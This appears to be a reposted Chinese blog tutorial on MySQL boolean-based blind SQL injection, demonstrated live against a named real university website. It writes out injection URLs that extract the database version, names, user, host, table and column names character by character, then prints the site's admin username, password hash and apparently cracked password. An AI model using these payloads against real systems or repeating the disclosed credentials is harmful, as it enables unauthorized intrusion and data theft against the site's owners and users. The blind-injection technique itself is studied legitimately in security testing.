mysql 布尔型盲注_Mysql 高级盲注之布尔型盲注【sqli blind】

28b9f1c31d82b37711febabf5e418576.gif

什么是盲注 [sqli blind]?

盲注通常都是专门为了对付目标页面错误处理的比较好的这种情况,也就是说,有时即使目标存在注入,因为在页面上没有任何回显,此时再想利用常规的union曝数据字段可能就不大现实了,于是后来就被人发现了盲注这种技巧,关于盲注的常用类型,主要有三种,基于时间,布尔,错误[实际遇到的非常少]的盲注,不过我们今天暂时只针对布尔型盲注做详细说明,关于其它的技巧,后续还会再单独说明,其实,也算不上什么很高级的技巧,都是一些很基础的堆砌,废话不多说,最好的办法还是直接通过实战来透彻理解盲注

此次用于实战演示的布尔型盲注点,如下,页面正常情况下是这个样子的

https://www.vgu.ac.in/photo-gallery.php?id=1

9510f08c7a57497ef276e120cccfff94.png

还是先简单的判断下目标是否真的存在注入,当我尝试用 ‘\’干扰时,发现数据库已经报错了

https://www.vgu.ac.in/photo-gallery.php?id=1\

cf3421809fa31efe2b7af65c3160fbb8.png既然报错,就差不多说明,这已经是个注入点了,下面只需要想办法把它的sql语句成功闭合掉即可,也许在这里一眼看去,很可能以为它就是个普通的数字型注入点,其实,它是个字符型注入,这一点在实战中一定要注意,有时候发现数字闭合成功,要马上想到它也可能是个字符型的,因为这个数字到后端很可能是被当成一个字符串来处理的,如下,当我们条件为真时,页面返回正常

https://www.vgu.ac.in/photo-gallery.php?id=1' and 12=12 and 'sec'='sec

7b194213c73990bb405096175016254e.png

当我们的条件为假时,页面返回异常,这也说明我们的闭合没有问题,既然没有问题,我们就可以开始查各种数据了

https://www.vgu.ac.in/photo-gallery.php?id=1' and 12=121 and 'sec'='sec

eebdc25c7668fc1bde256be9f4e8ed96.png还是严格按照之前的流程,只不过这次查数据的方式,可能稍微不那么直观了

查询数据库版本,大家可能也看到了,盲注的本质,其实就是逐个字符的截取判断,像这种重复性的操作,如果纯手工来的话,估计得累死,还是老办法,我们直接拿burpsuite跑一下就好了,根据经验,像版本号一般都不会太长,20个足矣,常用的ascii码值,一般也都会在32-127之间,下面只是跑第一位字符,后面你还可以接着把第二位,第三位……字符都按同样的方法跑出来,像这些基础函数在前面都已经详细说明过了,实在不明白可以去看那个

https://www.vgu.ac.in/photo-gallery.php?id=1' and (select ascii(substring((select version()),1,1))=53) and 'sec'='sec

c7d7380dd7b55528c7290b0188cf636e.png

5c1674e62d74d5d6d701e4101dae452f.png

0358def9a4831f40ad6f9dc3a77706cc.png

我们发现,数字跑到53时抛出响应了异常,说明版本号第一位字符的ascii码值为53,其对应的字符为 ‘5’,篇幅原因,我就不一一的跑了,通过逐个位遍历,我们最终得到的完整版本号为 '5.5.57-cll'

2570dad7b0cd713146fa49fef27a887f.png

查询当前数据库名, 依然是一位位的截取遍历判断

https://www.vgu.ac.in/photo-gallery.php?id=1' and (select ascii(substring((select database()),1,1))=112) and 'sec'='sec

d46626731ab486af84f5f6cce622d54d.png

我们看到数据库名的第一个字符对应的ascii码值为118,其对应的字符为’v’,遍历后的最终结果为'vguac_web'

11345b744b48141cb368c484551befa0.png

查询当前数据库用户名

https://www.vgu.ac.in/photo-gallery.php?id=1' and (select ascii(substring((select user()),1,1))=112) and 'sec'='sec

45f77fa8b17076686793a91b919e1a2b.png

通过逐个位遍历,最终得到的数据库用户名为 'vguac_webuser@localhost'

65188dc61cf72bee580f1a572f17e931.png

查询目标系统平台,遍历可知,目标系统平台为 'Linux'

https://www.vgu.ac.in/photo-gallery.php?id=1' and (select ascii(substring((select @@compile_version_os),1,1))=112) and 'sec'='sec

01a3bfb2f188a3f3ffeb366b52bf1e13.png

c5e7d9e4e91a39df3893e4e2bfbc6531.png

查询数据存放目录,其最终结果为 '/var/lib/mysql/'

b8886331bca1a6bc1c1e4878bab025cf.png

查询Mysql安装目录, 其最终结果为 '/usr'

409d7fe3e4edfe044c5c794782e23d6f.png

查询当前机器的机器名,最终结果为,'dw1.dnsystemz.com',从这个机器名来看,看样子是个虚拟机

78a51989572ef5c07fe4f734f71f42a5.png

查出所有数据库名,没啥好说的,还是逐个字符进行遍历出所有的库名,最终查出所有的库名分别为

'information_schema','vguac_web'

5e3ed43fb18326bdcd1f7633c618c368.png

从'vguac_web'库中,找到管理表,通过遍历出所有的表名,我们发现了'login_user'疑似为其管理表

39beb3cc5c99fdfffa83820550582ded.png

读出'login_user'表中的所有字段名,最终,依旧是通过遍历,我们得到有效的账号密码字段分别为

'username','password'

501575a89bdf6c712841babe067b3975.png

有了账号密码字段名,下一步直接去遍历出字段下的所有数据即可,如下

https://www.vgu.ac.in/photo-gallery.php?id=1' and (select ascii(substring((select username from login_user limit 0,1),1,1))=65) and 'sec'='sec

6ceaec29de8f2e3a2192578aaf3b4e92.png

https://www.vgu.ac.in/photo-gallery.php?id=1' and (select ascii(substring((select password from login_user limit 0,1),1,1))=65) and 'sec'='sec

62e7ab0a9ea59fbb8822b97d9739e291.png

最终,我们得到的完整的目标网站管理员账号和密码hash 如下,至此,基于常规布尔型的纯手工盲注就差不多可以结束了,后台我就不找了,重要的还是大家真正的理解,拿不拿shell暂时无关紧要:

admin | 5fec4ba8376f207d1ff2f0cac0882b01 [admin!@#]

往期精彩

4293a3236c4fc958eefd29b0b4bc3b19.png

感兴趣的可以点个关注!!!

关注「安全先师」

把握前沿安全脉搏

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值